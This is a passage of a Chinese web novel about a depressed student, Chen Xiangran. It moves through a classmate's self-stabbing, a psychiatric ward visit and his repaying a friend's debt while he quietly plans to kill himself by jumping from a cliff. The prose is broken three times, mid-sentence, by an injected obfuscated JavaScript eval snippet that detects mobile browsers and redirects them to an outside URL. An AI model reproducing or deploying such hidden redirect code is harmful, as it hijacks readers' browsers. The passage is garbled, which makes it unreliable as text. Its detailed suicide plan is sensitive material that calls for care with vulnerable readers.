可她逃不开的，逃不开这些东西。陈向然想，身在世间，没有人可以独善其身。 救护车鸣着笛声很快从山下蜿蜒而来，老师、校医前来处理现场。陈向然来不及处理一身的血迹，就缠着校医，要求陪叶知一起上医院。 他伸着红色的手，浑身很脏，看上去比张依萌更可怜：“让我也去，我可以联系她家人。” 杨姗喝止他，科任老师阻止他，就连严霖辉也远远跑来拦他。他只能眼睁睁看着红白的担架端进车里——上面躺着那个与世无争、又抗争至今的女孩。 他们在抗争着同样的东西。 他怔怔的，凝望救护车远去。政教处的老廖吩咐几个学生打扫教室，自己疾步前往行政楼通知家长。走廊上一片混乱，看到的人讲，没看到的问，学校里的事情就这么传开去的。可不需要多少时间，大家或许又习惯了没有这么一个人存在。像那时的纪封道一样。 事情落定了，他又有些恍惚。所有人回到座位上，好像方才一切都没有发生过。熟悉的铃声照常响起，像一个分界点，喧哗顿然停止，翻页、写字，教室如初，没有任何事情比得上每天的学习计划。 唯一不同的是空气里飘了一股血腥味。张依萌在座位上颤抖不止，她的同桌为她递了两张纸巾，低声劝她去医务室，接着又沉进题海里。一节自习课后，恐怕就没有人再提起叶知。 刘永凡捂着鼻子说：“你去换件衣服吧。” 就当向同桌借来一个理由，他走出教室去往厕所——怀里藏了一块“大砖头”，他的手机。 厕所天窗也许是被清洁工打开了，春寒如凌冰刺进室内。天窗外是青灰色的街道，陈向然聆听着朔风哀怜，裹紧校服外套，掏出偷偷带出来的手机。 时隔多日，他再拿起手机，在隔间里拨通齐怀生的电话。通话记录里显示上一次通话已是数月前，之后是断续的几十通未接来电，最近一通还是凌晨五点。 离开齐怀生家的那天，他将手机藏进书包深处，极少取出来。林岚的微信在增加，齐怀生的未接来电也没断过，他不拿出来，不点开，好像这样就看不见一样。 这时候他急着联系齐怀生，真正接通了，又一句话都说不出。听筒里齐怀生的呼吸微微急促。 几个月空白的时光横亘在中间。两人沉默着，连一句“喂”都舍不得说。 半晌，齐怀生先开口：“知道打个电话了？” 他声音太哑，满是情绪，陈向然听得一个激灵。 忽地才想起，自己为什么要打这个电话。 “齐怀生，叶——” “你可以和我绝交，但请你把话说清楚了。”他像个引爆不成的炮仗，随着陈向然一次次不接电话，渐渐哑了火，发不起脾气来，“我知道，联不联系是你自由。你忙学习、画画，理由多得很。相反，我没有理由要求你一直联系我。但突然这样我也实在……”他顿了一顿，说，“很难接受……你知道吗？” 陈向然又说不下去了。 离开便离开了，谁不是这样渐行渐远。他以为一切都是很自然的事。 “我无法接受你刚说完‘终结生命’这种话，转身就杳无音信。”齐怀生接着说，“就算有一天……你真的坚持不下去了，至少再给我一次争取的机会，去挽回——” “齐怀生，”陈向然打断了他，“你上次不是说，有些话保留着，以后再说吗？” “……嗯。” 他会保留怎样的话呢？陈向然猜想那或许不是什么令他高兴的话。至少在齐怀生看来不是。 “我很抱歉，没能把‘终结生命’这样的话，保留下来。” 他忘了有些话，不到某个时候，就不能说出来。 他靠在塑料隔板上，沉静须臾：“现在你快去市区医院吧，叶知出事了。想对我说的话，去对你妹妹说一遍吧。” 几个月了，齐怀生憋了一肚子话，被一句“叶知出事了”又生生憋回去。最后只留下一句：下次你必须接电话，陈向然。 而后，“嘟”地一声挂断。 陈向然放下手机，揪紧沾血的校服，风有点冷，冷到胸口里。他蹲下，抱着膝盖取暖。一时间，歉疚感潮汐一样漫上来。 自己无意之间，又给了齐怀生一份重压。而他被困在四面围墙里，连去看看那对兄妹的机会都没有。原来齐怀生也会想念他……他们明明没有理由如此深入对方的生活。 直到他准备给叶近成打个电话，才想起自己今天找叶知是为了什么事——唯一能打听齐怀生家“大债主”的人已经不能说话了。 叶近成的电话号码静静躺在屏幕上，他的拇指悬在拨号键上方，微一咬牙，摁了下去。 忙音响了半分钟，对面竟是一个女声接起来：“你好，不好意思，近成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301985|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他在睡觉，等晚些再打来。” “阿姨，我是向然。” 叶母愣了一会儿：“啊，向然啊，你好你好。找叶叔叔有什么事吗？” 本该先说出叶知的事，可出于私心，他先问了：“阿姨，平伯刚出事那时候，不是缺了十八万嘛？我当时也在医院，听到——” “是的呀。”叶母说，“你叶叔叔给解决了，怎么了？” 陈向然霎时转不过弯来：“叶叔叔？” “总之不用担心，谢谢你关照我们阿生。” “等……等一下。”纵使不大礼貌，陈向然还是截住了叶母的话头，并问：“叶叔叔……急着这笔钱吗？” “啊……这个，阿姨也不好替他回答。阿生是出什么事了吗？” 不好回答，就是回答了。陈向然不知不觉握紧了手机。叶近成这只成天操奇计赢的老狐狸，怎么会放过追利息的机会。 他也不会放过当下的机会：“阿姨，叶叔叔什么时候有空？我想和叔叔见一面，我有事和他——喂？喂？” 似乎是有电话闯入，截断了他们的通话。不必猜必然是政教处通知家长了。 陈向然走出隔间，站在洗手盆前，看着镜子里的自己。 全校自习时间，卫生间外只剩空旷的风声。 他盯着衣服上的血迹，看看被划伤的手臂，方才的一幕历历在目。叶知倒在地上捂着血流不止的伤口，对他做了几个口型。 ——不要救我。 血色剥下她温润如玉的外衣，让她破碎而狰狞起来。他确信那双眼睛是盯着自己的，黑洞一般，如索命的鬼，像是要与她抗争的东西同归于尽。 与那日送他生日礼物时害羞又喜悦的女孩判若两人。 ——“陈向然，生日快乐！” ——“不要救我。” ——“你能来我很开心啊。” ——“不要救我……” ——“可他们都不放过我……” ——“不要救我！” 陈向然猛地捶在洗手盆边缘，睁开眼睛，他看见自己惊恐的表情，浑身震颤，大口地呼吸。 他的手抖得筛子一样，从口袋里摸出药，就着自来水吞下。 精神药物大多有依赖性，他已离不开了。吃了是副作用，不吃是受病情折磨，只能随身携带。 片刻后他冷静下来，抹去脸上大把冷汗，看了眼手机，忽地后悔了。 好像不该告诉齐怀生这件事。说了不过徒增他的烦恼——即便他说，给他一个挽回的机会，他不想再做一个无力的人。 陈向然不知道那天到来时，自己会不会给他这个机会。 陈向然草草用水洗了下衣摆，顺便洗了把脸，走出厕所，刚到教室门口，杨姗就在走廊上大声喊他的名字。 整一层楼都能听见她毫不收敛的尖利的声音。陈向然一回头，她就站在走廊尽头招手：“陈向然，你妈妈的电话。” 林岚终于厌倦了微信里自言自语，通过杨姗联系他了。陈向然没意识到自己正扯着嘴角冷笑。以往，林岚要么与他直接沟通，要么向杨姗了解情况。她是不会想让人知道的，她连自己的儿子都找不着这件事。 除非有更重要的事，让她顾不上那点廉价的面子了。 杨姗把他带到办公室，让他接听座机。他拿起听筒放到耳边，轻咳一声。紧接着，或许天气真的要入冬了，对面的话语令他如坠冰窟。 “陈向然，”林岚的声音静得发干，“既然，你还有时间参加画展，不如回趟家吧。” 寒风入室，陈向然默然不动。 轻飘飘一句话，字字让他想起叶知那把刀，缓慢地、深深地扎进心里，冰冷的铁片与温热的血肉无间相贴。 宛如立碑。 67. 破灭 林岚什么也没说，只下命令似的，要他周末回一趟家。 她给的信息量越是少，陈向然越感觉到她的愤怒、失望，乃至还有无助——抓不住儿子那样的无助。各种各样的细节不可控地涌入脑海。林岚每个字的发音、停顿的间隔，他都不自主地分析了一遍。设想了无数结论，并沉浸在自己的结论中慌张、难过、嗤之以鼻……那么多情绪毛线团一样交织在一起，最后他只露出一个麻木的笑。 杨姗到政教处见叶知的母亲，处理完所有事情后回到办公室，就见陈向然举着听筒，低着头，看不清表情。走近一瞧——电话早挂断了。可他一动不动，除了一丝细微的颤抖，简直宛如雕塑。仔细一听，嘴里还自言自语念叨着什么“结束了”，或是“结束吧”。 结束吧。 “陈向然。”杨姗夺走他的听筒，“你很闲吗站在这？还不回教室自习？哦哟啧啧啧，看看你自己，这一身，都不知道处理一下吗？这么不注意细节，怪不得你考语文都能粗心呢。别小瞧一分，一分在全省就是一千名，清华才招几人呐你想想。考这么多第一有什么用？最后连清华最差的专业都上不了，多丢人。”她又猛地拽他一下，“还发什么呆呢？自习去。” 自从他上回在课堂上顶嘴杨姗，她就没好好说过话。不过他想，顶不顶嘴的，都逃不过她的威压。杨姗就是这样的人罢了。 陈向然默不作声，回头见一人影挡住了门口的光。那人带着肩上一块血迹，举着手说：“报告。” “啊，依萌，来，老师跟你聊几句话。” 他与张依萌错肩而过时，那姑娘显然是看了他一眼。目光依然没有从恐惧中挣脱出来。陈向然刚刚从教室门前望见了，她在座位上顾不得处理伤口，抱着英语试卷上那个破碎的满分，红色的分数沾上红色的鲜血，眼泪无声地落下。 一个数字而已，甚至不是决定人生的高考。杨姗没说错，考那么多第一有什么用呢？这回不就跌出年级前十了？ 可每个人都希望某一次的辉煌就是十二年所有血泪的终点。终于达到他们的要求，成为一个合格的、不被批判和鞭策的、让他们满意的人。 多么可怜，被驯养的兽吃到肥美的肉块、得到最好的照料，却一生都只能住在牢笼里。 他走到门口，听见身后说：“谢谢你救我。” 陈向然在门口止步。 张依萌望着他逆光的背影发呆，直到杨姗扯了她一下。她没听清杨姗低声抱怨了什么，只听陈向然说：“我没有救你。” 张依萌：“嗯？” “我救不了你。”他说完便离开了。 因为你自己也意识不到，究竟被什么东西困住了。 即便陈向然走到了走廊另一头，还是听见了办公室里张依萌高声说：“我也不想这样……就是她，就是她撕了我的卷子！” 陈向然走进教室，绕过讲台，没有回自己座位，转而去了叶知座位。 他在叶知同桌不解的眼神里坐下来，摸摸凹凸不平的桌面。百年老校的木课桌早被刻满了字画，“加油”、“必胜”、“北大等我”、“不进则退”，还有迅哥儿的经典“早”字。整齐的书本和笔记左右占去一半课桌，没有挡住左上角几个秀气的小字，陈向然辨出是叶知的字迹。 ——我也有绽放的一天吗？ 没有。陈向然想，结束了，她没有绽放，也没有长成参天大树。 她只是一片叶子，在众多叶子中青翠过，被风带着飘旋过。不起眼，也无力选择方向。 绝大部分人都是叶子，可也都曾在少年时期，被要求、期待过，像花一样绽放，像树一样繁茂。 陈向然在她的书堆里翻找。叶知的座位整洁有序，试卷都标了页码，与笔记上的错题对应，方便查找。陈向然翻了一下她的英语卷，发现是按时间顺序排列的，这次考试的试卷应当在最下方，但他并没有找到。 左上角的回形针只夹住一个灰色的碎片。 叶知同桌见他一张张翻，问：“你想找什么？” 陈向然撕了一页稿纸，写上：她这次英语卷呢？ 对方看了纸条良久，好像不认字了似的，犹犹豫豫地下笔，写完递回来：你没看到吗？早上体育课前，她撕了。 陈向然：扔哪了？桌肚里这堆吗？ 叶知同桌：外面，不知道哪个垃圾桶。桌肚里是依萌的试卷。 张依萌的试卷。陈向然正好奇如何从碎片里辨认，抓出几张来看，是张依萌的作文答题卷。y字母细长上扬的尾巴是她的标志。 回想体育课上楼时，陈向然误以为自己是第一个回教室学习的，哪知教室里已经有了另一个人。那时吴自兴的确没有在他自己座位上，他从第一排走到第四排靠窗的位置，现在想想只能是从张依萌的座位，走到了叶知的座位。 下午放学，教室空剩陈向然一人，他把一张纸条放在了吴自兴课桌上——张依萌试卷的事，自己去道歉，别等我戳穿你。 他不知道第二天，吴自兴是不是有照做，也无心确认。无论如何他不会再当众提起这件事，免得大家再把叶知拖进舆论中心来。 陈向然忘了有多久没回家了。 但他还记得市区房子室内的样子——没什么可记住的，客厅除了沙发和电视，几乎是空的。 没有人住，只是空置着。于是他进门时感到屋里多出来的陈设过于扎眼。 几张色彩很有冲击力的画横七竖八铺在地上。原来是大风破开窗帘的遮挡，吹散了画叠，其中一幅飘飘悠悠，吹到他的脚边。 他弯腰捡起画布。 是油画，缤纷彩色在画面上凹凸不平。蝴蝶屹立花尖，亟待振翅而飞。然而翅膀被什么东西抹去半边，又回到被五彩缤纷的花园吞噬的模样。陈向然凑近闻了闻，是林岚常用的脂粉香气。她通常喜欢在手上也涂上厚厚的一层，分明很忙碌，还是会抽一些时间细细地装点自己。 “回来了？” 林岚从屋里出来，横在他面前。她像是不知情一样，脚下还踩着画的一角。咖啡色纱裙轻飘，项链、手链、光滑的红色指甲油，在昏暗的空间里发亮。她衣服没换，妆也没卸。陈向然就知道，她不会在这间房子里久留。 好不容易为了他回来，陈向然想，她是为了他回来的，为了剥夺他、管控他。而他听见一声“回来了”，竟扭曲地感到不愿她离开。总是这样，折磨着，又需要着。 “嗯。”他轻轻应着，目光游移在画上。 “什么时候去陆老师那上课的？”林岚两只纤瘦的手臂交叉盘在身前。 他毫不遮掩：“高一。”说完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301986|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还补充道：“上学期。” 他越是面无波澜，林岚越是气愤：“你觉得你这么做，对自己负责吗？” 一个人没了选择，又何来负责？ “没什么不负责的。” “你知道你去艺考，将来要吃多少苦吗？你快成年了陈向然，不能老是这么不懂事。” “是，苦……”鬓梢的头发近来长得遮住了眼侧，陈向然沉吟着，花蝶画突然攥坏一角，“找工作苦、考公苦，被人瞧不起苦，面对以后不知道会怎样的工作和家庭苦，不知道你什么时候就老了、留我一人在这世上，也苦。人生全是苦。所以怎么都没有意义，对吧！”他越说越快，手里的画布越来越皱。 可被推着前进也苦，放弃理想也苦。蹉跎一场一生不会痊愈的疾病，更苦。 他说着说着就笑了，眼里都是血丝，有泪水打转。他当着林岚的面将花蝶画撕作两半、四半，直到彻底撕成碎片。又捡起地上其它画，疯狂地撕扯，看着地上的狼藉，他轻轻发出两声笑。卖了老屋画之后，他明白了，画画不能找回他真正想要的东西。 它和精神药物一样，只是他活下去的拐杖，它不治病。 五颜六色的碎纸片成把地抛向空中，洋洋洒洒落在他们身上，如寒雪千堆。陈向然几乎得意地扯笑，而林岚只是露出责怪的神情：“向然，你到底怎么变成这样了？” 怎么变成这样，从什么时候开始，如何成了现在这样。他也想知道。 林岚没收到回答，大约也不期待他回答。最后一次收走他的画具，扫去一身碎纸，拎了包就要去公司：“我今晚加班，你好好做题。快高三了，别被什么爱好给影响了情绪。这些东西，”她提起一袋子画具，“以后考完再还给你。地板留着我回来打扫，别占用你学习时间。” 门“砰”一声关上，屋里又剩一片寂静。 陈向然呆呆地凝望空旷的客厅，只有窗帘昭示这间屋子的时间流逝。 林岚的话，仿佛最后一根拐杖也撤走了。他深深意识到自己就是个需要人照顾情绪的累赘——这世上不允许任何人拥有情绪。 眼角的泪珠终于“啪嗒”掉在木地板上时，他回过神来，微一摆头，见地上还有最后一幅画，捡起来，正打算以最野蛮的方式送它上路，翻过来一看…… 竟下不去手。 白色少年，被五彩缤纷的世界勾勒出飞扬的背影。 他伸手抚摸少年，当时在石中涂鸦墙前，和齐怀生谈天说地的场景历历在目。那天天很热，齐怀生明明流着大把的汗，还笑着把冰凉的汽水递到他手里。 每想到涂鸦，他都想到海中大操场那块天然石壁，心思发痒。他总想着，这辈子总得在那块巨石上涂画两笔。在时机成熟的时候，使用这块天然的画板。 但或许，已经来不及了。还有最后几件事要办，办完之后…… 他侧身面对窗帘的缝隙，望见红沉沉的天空。用不了多久，夏天又要来了。潮头市的夏天总让人想起昭示风雨的血云，而不是生机勃勃的翠叶。 他把白色少年细心地卷起，用皮筋系上，藏在房间书桌的抽屉里，上了锁。 记得陆引曾说，他的名字是向往自然的意思。 所以——之后，他会化作一粒尘埃。和世间无数尘埃一样，归于天地。 68. 再逢 陈向然再联系叶近成时，老狐狸竟破了天荒在医院陪叶知。他也正好趁此机会，收拾东西，顺带到县里的老字号糕点铺给叶知带见面礼。 骑楼一层的招牌前灯笼晃悠，门口清脆的铃声，店里恰到好处的冷气，和新鲜出炉的香味。 站在历史老街，尘世碌碌尽收眼底。小县城一切比乡村热闹，比城市慢悠。红绿相间的三轮车、生锈的凤凰牌自行车仍在这条街上游走。这一带生活的大多是老人，傍晚倚靠骑楼架空层的圆柱，蒲扇轻摇。 决心离开后，得到的只有满心清净。苦难也好，压抑也好，世上的一切再与他无关。 他抱着一盒什锦糕点，乘上公交，沿途穿过海滨、城区、郊区，窗外，零落的风景飞快地向后跑。天空灿烂而高远，飞鸟的剪影缩小成翕动的细线，在电线切割的晚霞间穿梭，与他同行一般。 他乘至某点，换乘一班车。 到了医院天色已深，大厅灯光惨白，将病患映照得更瘦弱了。陈向然站在廊边，拨叶近成的号码，一辆轮椅和一个输液架吱吱呀呀地从他身后经过，轮椅上的老人“呜呜”地说着什么，连他的家人也没有听清。 叶近成接得很快：“向然啊，吃饭了没？叔叔带你去对面那家早点楼吃点？” “不用了，”他目视前方，身边护士、病患来来往往，“我来看看叶知就走。” “不用麻烦，我现在在六楼，你在三号楼电梯口那等我。” 六楼？分明三楼才是住院区。 他还是乘电梯上了六楼，经过前台就被拦住了。护士拉过他两只手，发现没有病号手环。却没有放他进去，自动笔敲击着桌面：“几号床的？怎么不穿病号服？怎么出去的？” 陈向然愣了愣，不知是不是错觉，护士貌似十分笃定他是个病患。不由得碰碰自己的脸：“我不是病人，我来探病的。” 护士甩着登记笔，眉心一皱，半信半疑似的，抬起一手指引他往一扇玻璃门。 身上的东西要进行人工搜查。 陈向然不乐意被翻找背包，只能说：“包寄放在这吧。我给朋友送一盒糕，很快出来。” “这个也要检查噢。”这儿的护士都脾气急。操着一口婉转的调子，动作又急又火的，带着强制性，不容辩驳。 整盒糕被打开了，护士问，有没有带刀叉或牙签之类的锋利物品。接着翻转着开盖的包装盒，试图找到配料表。 “病人都在调药期间，要问主治医生不能吃什么。” 陈向然不懂什么调药，只囫囵答应着，出了检查室。眼前是双扇门，透过门上的玻璃，能看到门后一条封闭、笔直的走廊。抬头看门牌，他才证实了自己的猜想。 住院部，精神医学区。 那天收到齐怀生的信息，说叶知已经脱离危险，转向普通病房。可他从没有说是精神病区。 精神病区，可不是什么普通的病房。 虽是大医院，这里竟不区分轻重症区域。有攻击性的重躁狂患者、自我攻击性的重抑郁患者，以及无攻击倾向的中度双相患者，各种类型的精神病患混合住在一条完全封闭的走廊中。床位供应紧张，新来的病患只能在走廊边缘打床，拉一蓝色屏风，做点毫无意义的遮挡。长廊幽深，灯光昏暗，一眼望不到尽头，天花板低得伸手即触，空间窄，四面八方的墙壁仿佛都朝他拥挤而来。 一个约莫十六的少女，两手抓着医院发黄的枕头，一下、一下猛砸自己脑袋，发丝凌乱地从他身边经过，往走廊另一头远去。 擦肩而过时，陈向然看见了，那目中无人，只有轻蔑和怨恨的眼神。 走着走着，才发现已错过了叶知的病房，问了途径的护士，她指向了一个男性病房。 床位已经紧张到男女混住一个房间了。 站在门口就能看到叶知，她隔壁床的青年说着“救护车快来”，或是“救救我”、“你是谁啊”之类前言不搭后语的呢喃。 叶知被扰了心神，无法睡觉，只能靠着床头眯眼。脖子缠了一圈纱布，手上戳着留置针，但并没有在打点滴。 他隐约听到：“一颗阿普唑仑，还有两颗碳酸锂。”是护士在安排药量，“晚餐后记得吃。晚上要做经颅磁，等叫你再过去。” “好，谢谢护士。” 叶近成不在里面，他打算把糕点留下就走。却后知后觉刚刚的“谢谢护士”是谁的声音。 齐怀生在陪护。 那叶近成呢？ 手机“呜呜”震动，陈向然慌忙接起来：“喂，叶叔叔，您在哪呢？”一边说，一边走向走廊尽头。 接电话的声音渐远。这里打电话的人多了，有的是普通的电话联系，有的是病患练习打电话尝试接触社会。齐怀生习惯医院的嘈杂，只专注着喂食自家妹妹。 那时接到陈向然的电话，他吓得不轻。赶到医院手术区，正远远看到叶知被推进手术室。 如遭雷击，心里不断撕扯。 他坐着等，等得累了，半睡半醒，倒想起很多事情。这么久了，他才恍悟，那天叶知被孙临潼从河边带回家，根本没有谁伤害了她。他不知道叶知是如何决绝地，一次又一次对自己刀刃相向。也不知道陈向然，没有他在身边时又经受了什么打击。 好在陈向然联系上了，叶知也恢复得快，只要人还在，还能恢复健康，弥补和挽回都是来日方长。活着是多么宝贵的一件事。 因为叶知还活着，他们才有这么长的相处时间。姨父姨妈都忙，齐怀生能去做陪护，叶近成也只能应允。 叶知的精神状况很难判断。齐怀生时常怀疑精神医学究竟是怎样一个学科，病患痛苦，于是一颗阿普唑仑加□□点滴，强迫你昏沉睡去，免去痛苦。可醒来之后，只是开始新一轮的循环。 齐怀生发现，自己在床边陪伴时，叶知是会笑的。郑医生来视察时正见兄妹聊天，都说：不错，看你今天好了一些。 “谢谢医生。”叶知笑意浅淡。 “但是啊，也别强迫自己笑。”郑医生两手插着白大褂的兜，回以笑容，“咱们双相障碍养病啊，首先是要坦诚地面对自己。而且要给我们医生最准确的信息，有助于判断你的病情。” “听到没？”齐怀生隔着棉被，轻拍她伸展的膝盖。 叶知只是笑笑。 “这个是给你的。”郑医生把一盒糕点放在床头柜上，“你一个朋友送你的。” 齐怀生打眼一瞧，一下看出是哪一家糕点铺的。沿海一带的人都知道的一家老字号，但只有齐怀生认准了石川县骑楼群那家，因为这家的奶油做得正宗。店长很年轻，是老板亲戚，有点小女孩心思，包装盒上总贴着祝福便签。 小事罢了，他谁也没提起，除了一个人。 “谁？”齐怀生叫住了要离开的郑医生。 郑医生回头：“你带来我这看病那位。”他看了看手表，“没什么事的话我得走了，我下午还要出门诊。有事明天再告诉我。” 齐怀生比郑医生更快，倏然站起来就冲出病房，顾不上叶知在身后喊他的名字。 陈向然和叶近成走了南北两头电梯。他下楼，叶近成上楼，又没遇上。最后相约在了一楼大厅。 约的地点终于是谈拢了。正好，他不想见到齐怀生，叶近成大概也不想让他了解到养女这样的病。 药房排起了长长的队伍，十几个窗口上方各有荧屏，显示已备药的患者姓名。两人在等候厅蹭了两个座位，坐下攀谈。 “我们叶知，给你添麻烦了。”叶近成说，“她那性格不行，太脆弱了，动不动就抑郁病。” 叶近成的话比叶知的刀刃更锋利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301987|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，陈向然缩了缩肩膀，全然理解叶知的疼痛。 “齐怀生他们……是不是和您借了钱？” “怎么了？” “您急用吗？” 一想到老狐狸催债如催命，那天叶知生日对那兄弟俩蔑视的态度，陈向然就快要克制不住冲动。一个不缺钱的老商人，答应了借钱，却—— “急用。”叶近成答得如此直接。 “可齐怀生现在也急用，他快高考了，也要读书的。您不能缓缓吗？” 陈向然越说越急。叶近成“噗嗤”一下笑出来，边笑边摇头：“小子，叔叔这么和你说吧。这钱，首先就不是我答应借的。其次……”他顿了顿，“我公司的资金链，因为这笔空缺断了，再不补上，读不起书的就不止阿生了。” “你们小孩，说再多你们也不懂。行了，”他拍拍陈向然的肩，“你读得起，你要好好读书啊。顺便帮我们阿知补补课。住个院，又不知道要落多少课了。” 叶近成起身就走——他是往大门口去的，要离开医院。 陈向然追出去，外面已星星点点亮起霓虹灯光。他冲着路灯下模糊的背影大喊：“叶叔叔。” 叶近成回头看他。 “我替他还。”陈向然走近他，“二十万，现在转给你。您的卡号是……” 叶近成刚刚在医院缴费处结过账，手里正拿着银行卡：“等会儿啊孩子，你哪来这么多钱。” 十九万八，又凑上他存起来的优秀奖学金，有二十万出头。全是属于他的钱，至于平时花剩下的生活费，他会原封不动地还给林岚。 “合法的。”陈向然夺过那张卡，只扫过一眼，记住了一长串数字，往手机银行里输送。 叶近成没有明显的拒绝，只是叹了口气：“不用这么多，傻孩子，阿生他哥哥已经还过一部分了。” “一部分是替他还债，一部分是我想拜托您。” 叶近成无论如何都不会想到，“现在的小孩”还能玩起人情买卖这套了。像是接了桩生意似的：“你说。” “这件事您可以告诉越杰哥，但请不要告诉齐怀生。” 叶近成笑了，心想小孩子还是小孩子：“你多给我几万块就为了这个？” “还有……” 还有…… 一只蛾子向炙热的灯泡飞去，翅膀烤得干瘪，枯叶般碎落在地上。天空这时还没完全黑，云团被阴霾弄脏，挤压着利箭一样的光线。阳光微薄，依旧存在，可是陈向然发现，连阳光都变成了灰色。 世界在他眼里如何灰霾，至少齐怀生还可以拥有光亮。 “齐怀生他……半路辍学，没有后路，没有门路。那么优秀，就这么止步在这里，对叶知、对你们家也是巨大的损失。太可惜了，不是吗？所以，拜托您，” 陈向然在叶近成疑惑又惊愕的神色里缓缓后退一步，倏然郑重弯腰，朝叶近成深深鞠躬。 低头求人的同时，他草草回顾自己短短十七年人生，最后一件事竟是为了齐怀生。 “请您尽全力，给齐怀生找一个好学校，让他继续复读。”他说。 来此一遭，相遇一场，已无遗憾。 剩下的，他已打算好了。就在海中的最高处，那个能看见山、看见内海的观景台，一跃投入悬崖深渊，结束枯萎的人生，像泥土和腐叶一样。 他望着乌烟瘴气的立交桥，汽车甩着尾气轰鸣而过。城市的噪音充斥听觉，以至于他没有发觉身后急促的脚步声。 “陈向然，”齐怀生的声音在身后炸开，“我就他妈知道是你！” 一股凶狠的力量从背后袭来，不像是拥抱，倒像是在抢夺什么东西。勒得很紧，很热，几乎令他窒息。 “别急着走，”他跑得太快，喘着粗气低吟，“想躲我，也先把话说清楚了。” 69. 道别 医院门口有棵大樟，春末时节，东风一过零零碎碎扯下几片新叶，一片被地上的小水坑轻轻接住，揉皱倒影。 陈向然盯着它。明明还是青翠光鲜的新叶，却已经死了。 经脉寸断，千疮百孔。 他推开齐怀生，沉默地面对他。 齐怀生喘匀了气息，眉头紧锁，双目不甘心似的微眯着，似乎想从他的眼里看到什么——但那双眼里几近漠然。 “为什么躲我？”齐怀生向前一步，陈向然就后退一步。 “没躲你。”他说。 “别骗人。” “我为什么要躲你？” “那为什么不接电话？” “我们学校查手机严。”陈向然拉了拉背包带，“解释完了，我能走了吗？” “你……” 陈向然看得出，齐怀生实则无话可说了，只是还试图挽留。好像他们之间真是多么不可分割的关系一样。 “这个理由不成立。”齐怀生说，“全校封禁你都能翻墙出来……我不是要你违纪，但你接个电话总可以吧？不能用手机，用公共电话跟我报个平安很难吗？我不愿意那么想，但我真的怕——” “你为什么就一定要见我呢？”陈向然怒火中烧。想就这么离去，归于平静，而齐怀生仅仅是出现就已经彻底扰乱他。 为什么要和这样的自己扯上关系呢？去找工作、求学都好，何必做这毫不值当的事？ 他心里很深的地方，其实欲想得到某个答案。关于他们之间丝丝缕缕的隐秘而亲昵的情感。可得不得到答案如今都没有意义，他不会为这个答案停留。 更不愿意齐怀生为一个将死之人停留。 他情绪一沸腾，齐怀生反倒冷静了，伸手想要拉他到身边：“我可以不见你。” 陈向然缩回手，反被他一扯，撞入怀中。齐怀生太瘦了，突出的骨骼撞得他生疼。 “我不见你，你要怎样呢？”齐怀生攥紧他的衣领，几乎咬着牙说，“你身边有谁？是你妈有空了还是你爸回来了？你哪怕有一两个真正的朋友，我都可以不见你。” 齐怀生太了解他，三两句话毫不留情，就把他的痛处揭个彻底。 他贴了贴陈向然的脸颊，传递着体温：“向然，你可以不接受我，但你得接受你自己。我们慢慢来，病会好的。我只求你不要伤害自己，你看你……”齐怀生抓住他的手腕，那上面不知不觉布满横七竖八的浅淡划痕。 “你在救我吗齐怀生？”陈向然推开他的胸膛，“别自以为是了。你救不了你妈，救不了你爸，想从我身上挽回遗憾。”不过让你多一桩遗憾而已，“现在妹妹住院，前途不保，就别表现得有多重视我，我……” 我不知道该如何回应你。 陈向然想。 将死之人又怎么回应你？ 他很清楚，齐怀生被刺中的时候，就会像现在这样，视线下垂，嘴巴抿成线，失落又不甘的样子：“什么叫……我想从你身上挽回遗憾？陈向然你再说一遍。” 陈向然瑟缩一下，没敢吱声。 “是……”他点头，看向身旁的路灯，点点飞虫绕着灼热的灯泡打转，“我想挽回，但我要挽回的是你。从很久之前，我就想留下你，留在我身边。你明白我的意思吗，陈向然？” 仿佛一朵棉花轻轻撞上心脏。 他浑身上下的骨骼可耻地发出僵硬的声响，要他迈出一步。只要一步，他就能拥有齐怀生毫无保留的怀抱和守护。 “齐怀生，我不需要明白。”他反强制自己往后撤一步、两步，离得远一点，就少一点渴望，“来来去去都很正常，想来想走是我的自由，没必要执着。” 陈向然后退两步，离开路灯的光亮，没入阴影。 灯泡发出烧焦的声音，凹凸的水泥地、青葱的灌木撒满碎裂的翅膀。他凝视很久，浓烈的红、黯淡的灰、绝对的黑，他从未看过这样炽热致死的色彩。 “就在这道别吧。”他抬头看向飞扑不断的蛾。 他顿了顿，说不出“后会有期”。 这一次，真的要走了。他迈出两步，又听身后喊道：“道别是几个意思？你要去哪？” 陈向然抬头，注视眼前的楼厦，发梢微扬。 “去你不知道的地方。” 